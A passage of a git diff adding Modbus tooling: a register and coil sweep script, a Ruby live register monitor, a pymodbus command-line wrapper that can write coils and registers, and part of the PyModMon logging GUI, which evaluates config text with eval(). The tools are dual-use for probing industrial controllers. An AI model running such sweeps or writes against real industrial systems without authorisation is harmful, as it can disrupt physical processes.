enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = 